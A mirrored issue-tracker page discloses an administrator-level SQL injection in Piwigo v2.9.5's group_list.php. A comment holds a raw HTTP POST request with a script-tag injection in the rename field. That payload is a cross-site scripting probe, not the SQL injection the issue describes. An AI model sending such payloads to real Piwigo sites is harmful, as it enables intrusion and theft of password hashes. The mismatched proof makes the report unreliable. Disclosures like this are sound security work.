adam/Piwigo
1
0 Fork 0
mirror of https://github.com/Piwigo/Piwigo.git synced 2026-10-30 21:52:00 +01:00
Code Issues 657 Packages Projects Releases Wiki Activity

SQL injection in group_list.php #884

New Issue
Closed
opened 2026-10-05 00:22:40 +02:00 by adam · 1 comment
adam commented 2026-10-05 00:22:40 +02:00
Owner
Copy link
Copy source

An SQL injection has been discovered in the administration panel of Piwigo v2.9.5. The vulnerability allows remote attackers that are authenticated as administrator to inject SQL code into a query and display. This could result in full information disclosure.

The vulnerability was found in the 'delete' method in admin/group_list.php, because it does not validate and filter the '$group' parameter when it gets the parameters. And the vulnerability could query any data in the database and display it on the page.

In the figure, I obtained the encrypted password of the user table.
2
3

An SQL injection has been discovered in the administration panel of Piwigo v2.9.5. The vulnerability allows remote attackers that are authenticated as administrator to inject SQL code into a query and display. This could result in full information disclosure. The vulnerability was found in the 'delete' method in admin/group_list.php, because it does not validate and filter the '$group' parameter when it gets the parameters. And the vulnerability could query any data in the database and display it on the page. In the figure, I obtained the encrypted password of the user table. ![2](https://user-images.githubusercontent.com/34082644/57190820-617b1080-6f51-11e9-9d69-df2a0d6cd5a9.png) ![3](https://user-images.githubusercontent.com/34082644/57190823-65a72e00-6f51-11e9-9645-9bc19a7a6337.png) <!-- github-sync-id:440418682 -->
adam closed this issue 2026-10-05 00:22:40 +02:00
adam commented 2026-10-05 00:22:41 +02:00
Author
Owner
Copy link
Copy source

POST /admin.php?page=group_list HTTP/1.1
Host: 10.150.10.186:30001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: zh-CN,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://10.150.10.186:30001/admin.php?page=group_list
Content-Type: application/x-www-form-urlencoded
Content-Length: 430
Cookie: pwg_display_thumbnail=no_display_thumbnail; pwg_id=hb609s43hqj1iqrkvlrvgne5q7
Connection: close
Upgrade-Insecure-Requests: 1

pwg_token=036e74fc33b5eee65c74f44b98c09e13&group_selection%5B%5D=1&selectAction=delete&rename_1=1%3E%3Cscript%3Ealert%28%2Fgroup%2F%29%3C%2Fscript%3E&merge=%E5%9C%A8%E9%80%99%E8%BC%B8%E5%85%A5%E6%96%B0%E7%9A%84%E7%BE%A4%E7%B5%84%E5%88%A5%E5%90%8D%E7%A8%B1&confirm_deletion=1&duplicate_1=%E5%9C%A8%E9%80%99%E8%BC%B8%E5%85%A5%E6%96%B0%E7%9A%84%E7%BE%A4%E7%B5%84%E5%88%A5%E5%90%8D%E7%A8%B1&submit=%E6%87%89%E7%94%A8%E5%8B%95%E4%BD%9C

POST /admin.php?page=group_list HTTP/1.1 Host: 10.150.10.186:30001 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://10.150.10.186:30001/admin.php?page=group_list Content-Type: application/x-www-form-urlencoded Content-Length: 430 Cookie: pwg_display_thumbnail=no_display_thumbnail; pwg_id=hb609s43hqj1iqrkvlrvgne5q7 Connection: close Upgrade-Insecure-Requests: 1 pwg_token=036e74fc33b5eee65c74f44b98c09e13&group_selection%5B%5D=1&selectAction=delete&rename_1=1%3E%3Cscript%3Ealert%28%2Fgroup%2F%29%3C%2Fscript%3E&merge=%E5%9C%A8%E9%80%99%E8%BC%B8%E5%85%A5%E6%96%B0%E7%9A%84%E7%BE%A4%E7%B5%84%E5%88%A5%E5%90%8D%E7%A8%B1&confirm_deletion=1&duplicate_1=%E5%9C%A8%E9%80%99%E8%BC%B8%E5%85%A5%E6%96%B0%E7%9A%84%E7%BE%A4%E7%B5%84%E5%88%A5%E5%90%8D%E7%A8%B1&submit=%E6%87%89%E7%94%A8%E5%8B%95%E4%BD%9C <!-- github-comment-id:497617252 -->
Sign in to join this conversation.
No Branch/Tag Specified
Labels
No items
No labels
Milestone
No items
No Milestone
Projects
Clear projects
No projects
Assignees
Clear assignees
adam (Adam Wojcieszonek)
No Assignees
1 Participants
Notifications
Due Date
No due date set.
Dependencies

No dependencies set.

Reference: adam/Piwigo#884